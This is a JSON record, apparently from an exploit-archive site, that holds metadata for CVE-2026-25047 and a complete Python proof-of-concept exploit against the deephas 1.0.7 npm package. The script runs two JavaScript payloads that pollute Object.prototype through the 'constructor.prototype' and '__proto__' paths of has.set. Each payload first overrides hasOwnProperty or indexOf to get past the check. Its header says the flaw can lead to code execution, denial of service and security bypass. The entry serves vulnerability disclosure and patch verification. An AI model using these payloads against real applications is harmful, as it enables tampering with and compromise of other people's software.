{"exploit":{"id":"EDB-52528","name":"deephas 1.0.7 - Prototype Pollution","description":"deephas 1.0.7 - Prototype Pollution","cves":["CVE-2026-25047"],"author":"banyamer","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52528","path":"exploits/multiple/webapps/52528.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52528.py","vulnerabilities":[{"id":"CVE-2026-25047","state":"PUBLISHED","title":"deepHas vulnerable to Prototype Pollution via constructor.prototype","titleSource":"CVE Program","description":"deepHas provides a test for the existence of a nested object key and optionally returns that key. A prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25047","cvss":{"version":"4.0","baseScore":9.4,"severity":"critical","vectorString":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25047"},"updatedAt":"2026-02-02T16:35:22.701Z","retrievedAt":"2026-11-25T16:15:50.624Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52528.png?v=2","url":"https://exploitbin.com/exploits/EDB-52528","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52528/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52528/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: deephas 1.0.7 - Prototype Pollution\n# Google Dork: N/A\n# Date: 2026-02-01\n# Exploit Author: Mohammed Idrees Banyamer\n# Author Country: Jordan\n# Instagram: @banyamer_security\n# Vendor Homepage: https://www.npmjs.com/package/deephas\n# Software Link: https://github.com/sharpred/deepHas\n# Version: <= 1.0.7 (fixed in 1.0.8 and later)\n# Tested on: Node.js 16 / 18 / 20 (Linux / macOS / Windows)\n# CVE : CVE-2026-25047\n# GHSA: GHSA-2733-6c58-pf27\n# CVSS: 9.8 (Critical)\n#\n# Description:\n#   The 'deephas' npm package suffers from a prototype pollution vulnerability\n#   in versions 1.0.7 and below due to unsafe recursive property assignment\n#   without proper hasOwnProperty checks and inadequate path sanitization.\n#\n#   An attacker who can supply arbitrary keys to deephas.set() can pollute\n#   Object.prototype — which may lead to:\n#     • Remote code execution (when polluting sensible properties like\n#       process.env, require.extensions, child_process, etc.)\n#     • Denial of Service\n#     • Security bypass (when polluting hasOwnProperty, toString, etc.)\n#     • Privilege escalation in sandboxed / vm2-like environments\n#\n#   This PoC demonstrates pollution of Object.prototype via two techniques:\n#     1. constructor.prototype path + hasOwnProperty bypass\n#     2. __proto__ path + indexOf bypass\n#\n#   References:\n#     • https://github.com/sharpred/deepHas/security/advisories/GHSA-2733-6c58-pf27\n#     • https://nvd.nist.gov/vuln/detail/CVE-2026-25047\n#\n# Usage:\n#   1. npm install deephas@1.0.7\n#   2. python3 poc-deephas-prototype-pollution.py\n#\n# Remediation:\n#   Upgrade to deephas >= 1.0.8\n#\n\nimport subprocess\nimport os\nimport textwrap\nimport sys\nimport shutil\n\n\ndef run_js(code: str) -> tuple[bool, str, str]:\n    \"\"\"Execute JavaScript code snippet via Node.js and capture output\"\"\"\n    tmp_file = \"poc-deephas-temp.js\"\n\n    try:\n        with open(tmp_file, \"w\", encoding=\"utf-8\") as f:\n            f.write(code.strip())\n\n        result = subprocess.run(\n            [\"node\", tmp_file],\n            capture_output=True,\n            text=True,\n            timeout=10,\n            check=False\n        )\n\n        return (\n            result.returncode == 0,\n            result.stdout.strip(),\n            result.stderr.strip()\n        )\n\n    except FileNotFoundError:\n        return False, \"\", \"Node.js not found. Please install Node.js.\"\n    except subprocess.TimeoutExpired:\n        return False, \"\", \"Execution timed out.\"\n    except Exception as e:\n        return False, \"\", f\"Error: {str(e)}\"\n    finally:\n        if os.path.exists(tmp_file):\n            try:\n                os.remove(tmp_file)\n            except:\n                pass\n\n\ndef show_result(name: str, success: bool, stdout: str, stderr: str):\n    print(f\"{'─' * 10} {name} {'─' * 10}\")\n    if not success:\n        print(\"STATUS : FAILED\")\n        if stderr:\n            print(\"ERROR  :\", stderr.splitlines()[0] if stderr.splitlines() else stderr)\n        else:\n            print(\"(no error message captured)\")\n    else:\n        polluted = any(x in stdout.lower() for x in [\"yes!!!\", \"hacked\", \"polluted\"])\n        status = \"VULNERABLE (pollution successful)\" if polluted else \"UNEXPECTED RESULT\"\n        print(f\"STATUS : {status}\")\n        print()\n        for line in stdout.splitlines():\n            print(f\"  {line}\")\n    print(\"─\" * 70)\n    print()\n\n\ndef main():\n    print(\"=\" * 70)\n    print(\" deephas <= 1.0.7 – Prototype Pollution PoC\")\n    print(\" CVE-2026-25047 / GHSA-2733-6c58-pf27\")\n    print(\"=\" * 70)\n    print()\n\n    if not shutil.which(\"node\"):\n        print(\"Error: Node.js is required but not found in PATH.\")\n        sys.exit(1)\n\n    print(\"[*] Make sure you have installed the vulnerable version:\")\n    print(\"    npm install deephas@1.0.7\\n\")\n\n    # ── PoC 1: constructor.prototype + hasOwnProperty bypass ───────\n    poc1 = textwrap.dedent(\"\"\"\\\n        Object.prototype.hasOwnProperty = () => true;\n\n        const has = require('deephas');\n        const obj = {};\n        has.set(obj, 'constructor.prototype.poc1', 'yes!!!');\n\n        console.log('obj.poc1          →', obj.poc1);\n        console.log('{}.poc1           →', {}.poc1);\n        console.log('polluted global?  →', {}.poc1 === 'yes!!!');\n    \"\"\")\n\n    ok1, out1, err1 = run_js(poc1)\n    show_result(\"PoC 1 – constructor.prototype pollution\", ok1, out1, err1)\n\n    # ── PoC 2: __proto__ + indexOf bypass ──────────────────────────\n    poc2 = textwrap.dedent(\"\"\"\\\n        String.prototype.indexOf = () => -1;\n\n        const has = require('deephas');\n        const obj = {};\n        has.set(obj, '__proto__.poc2', 'HACKED');\n\n        console.log('obj.poc2          →', obj.poc2);\n        console.log('{}.poc2           →', {}.poc2);\n        console.log('polluted global?  →', {}.poc2 === 'HACKED');\n    \"\"\")\n\n    ok2, out2, err2 = run_js(poc2)\n    show_result(\"PoC 2 – __proto__ + indexOf bypass\", ok2, out2, err2)\n\n    print(\" \" * 20 + \"SUMMARY\".center(30, \"─\"))\n    print(\"If you see 'yes!!!' or 'HACKED' printed from {}.xxx property\")\n    print(\"→ deephas@1.0.7 is VULNERABLE to prototype pollution.\")\n    print()\n    print(\"Fix: Upgrade to deephas >= 1.0.8\")\n    print(\"=\" * 70)\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"c0d607dba14cce8206285b3192208255480f7375b7fb9cd7cc6d6ad2447812b4","bytes":5322,"fetchedAt":"2026-11-26T11:17:22.202Z","encoding":"utf-8 (display only; download retains original bytes)"}